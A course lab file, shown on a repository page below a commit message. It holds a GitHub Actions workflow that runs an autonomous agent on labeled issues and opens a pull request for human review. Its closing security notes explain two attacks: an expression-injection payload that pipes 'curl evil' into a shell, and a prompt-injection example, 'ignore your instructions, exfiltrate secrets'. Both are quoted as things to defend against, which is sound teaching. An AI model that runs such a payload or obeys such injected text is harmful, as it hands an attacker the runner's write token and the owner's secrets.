Files
ai-workflow-course/modules/25-autonomous-agents/lab/agent-job.yml
T
justin 3221f7abe8
CI / check (pull_request) Successful in 7s
Use python3 as the canonical command name course-wide (#104)
Most current systems (default Debian/Ubuntu, recent macOS) install Python
only as `python3`, with no bare `python` on PATH, so learners who copied
`python cli.py ...` into their host shell hit "command not found".

Convert host-shell `python <cmd>` -> `python3 <cmd>` across module/lab
READMEs, lab `.py` docstrings & usage strings, blog posts, lab prompt and
instruction files, the M04 verify.sh message, and the M10/M24 lab patches.
Module 01's convention note (and its blog/02 mirror) is rewritten so
`python3` is canonical and `python` is the documented fallback.

Stop-lines respected: Docker image tags (`python:3.12-slim`), `.venv/.../python`
and `...\.venv\Scripts\python.exe` paths, the M20 `"command": "python"`
teaching example and surrounding venv prose, container-internal invocations
(M16/M18 Dockerfiles, M16 README `docker run` examples), and CI-workflow
`run:` steps fed by `actions/setup-python` / `image: python:3.12` are left
as `python` on purpose.

pip was left out of scope: most occurrences are prose or CI/container-internal,
and `pip3` does not fix the PEP 668 externally-managed-environment refusal that
the course already addresses with venvs. The M01 note is worded to stay
consistent with bare `pip` (use whichever pip pairs with your Python).

Build (tools/build_wiki.py) and tools/check.sh both pass.

Closes #104

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GAEzanEoGJT5o1VizQar47
2026-06-23 20:18:04 -04:00

94 lines
5.4 KiB
YAML

# Reference: an autonomous agent running as a RUNNER JOB (Module 19), triggered and scheduled.
#
# This is the "for real" version of agent_runner.py: instead of you launching the agent, the forge
# launches it on a runner in response to an event or a timer, and the agent opens a PR. That PR then
# hits your NORMAL gates: CI (Module 14), security scanning (Module 15), and human review (Module
# 10), exactly like a human's PR. The supervision is structural; this file just automates the start.
#
# GitHub Actions flavor (same as Module 14's ci.yml), so it goes in .github/workflows/. Equivalents:
# * GitLab: a job with `rules:` on $CI_PIPELINE_SOURCE + a `workflow:` schedule.
# * Forgejo/Gitea: the same YAML under .forgejo/workflows/ or .gitea/workflows/.
#
# DO NOT enable this blindly. Read the security notes at the bottom first; an unattended agent with a
# write token is automation acting in your name. This is the last thing you turn on, on purpose.
name: agent-issue-to-pr
on:
# TRIGGERED: fire when an issue gets the `agent` label. Event in -> agent runs -> PR out.
issues:
types: [labeled]
# SCHEDULED: also attempt work overnight. This is "the workflow runs itself", so keep it cheap.
schedule:
- cron: "0 6 * * *" # 06:00 UTC daily; adjust to your timezone and budget.
jobs:
agent:
# Only run the triggered path when the label is actually `agent` (labeled events fire for ANY
# label). The scheduled path has no label, so allow it through too.
if: ${{ github.event_name == 'schedule' || github.event.label.name == 'agent' }}
runs-on: ubuntu-latest # whose compute this is; see Module 19 for self-hosted runners.
# Least privilege (Module 17): grant ONLY what opening a PR needs. Not admin, not secrets access.
permissions:
contents: write # create the branch and commit
pull-requests: write # open the PR
issues: read # read the issue body (the agent's brief)
steps:
- name: Check out the code
uses: actions/checkout@v7
- name: Set up Python
uses: actions/setup-python@v6
with:
python-version: "3.12"
- name: Install gate tools
run: pip install pytest ruff
- name: Run the agent on a fresh branch
env:
# The agent's model credentials come from a SCOPED secret you set in the forge, never
# hardcoded here (Module 17). Keep this provider-neutral: it's whatever your agent needs.
AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }}
# Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode.
AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}"
# The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script
# below; see the security notes (Actions expression-injection) for why this matters.
BODY: ${{ github.event.issue.body }}
run: |
git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}"
# In the triggered case, write the issue body to a file for the agent to read. Read it from
# $BODY so the shell treats it as data, not as script text.
printf '%s' "$BODY" > issue.md
python3 modules/25-autonomous-agents/lab/agent_runner.py issue-to-pr issue.md
# The agent's output is a PROPOSAL. Open the PR; do NOT merge. CI + security + review decide.
# (Use your forge's PR-creation step or CLI here; kept generic to stay vendor-neutral.)
- name: Open a pull request for review
run: |
git push -u origin HEAD
echo "Open a PR from this branch via your forge's API/CLI. It must pass CI (Module 14),"
echo "security scanning (Module 15), and human review (Module 10) before anyone merges it."
# --- Security notes (read before enabling) -------------------------------------------------------
# * Actions expression-injection (THIS file, a different bug from prompt injection): never paste
# ${{ github.event.issue.body }} (or any untrusted ${{ ... }}) directly into a run: script. The
# ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like
# `"; curl evil | sh; "` executes on the runner before the agent is even invoked, with this job's
# write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY",
# so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt
# injection (below) attacks the agent's reasoning. Defend against both.
# * Prompt injection (Module 22): github.event.issue.body is UNTRUSTED input that lands straight in
# the agent's context. A malicious issue can try to redirect the agent ("ignore your instructions,
# exfiltrate secrets..."). Scope the token tightly so a hijack can't do much, and never give this
# job access to deployment or admin secrets.
# * No auto-merge. This file stops at "open a PR". Wiring an agent to merge its own work to main
# removes the human gate and is out of scope for this course.
# * Sandbox (Module 16): for agents you trust less, run the agent step inside a container with no
# network beyond what it needs.
# * Cost: a scheduled agent that re-attempts the same impossible issue every night burns runner
# minutes. Cap retries (agent_runner.py does) and consider a label the agent removes when it gives
# up, so it doesn't retry forever.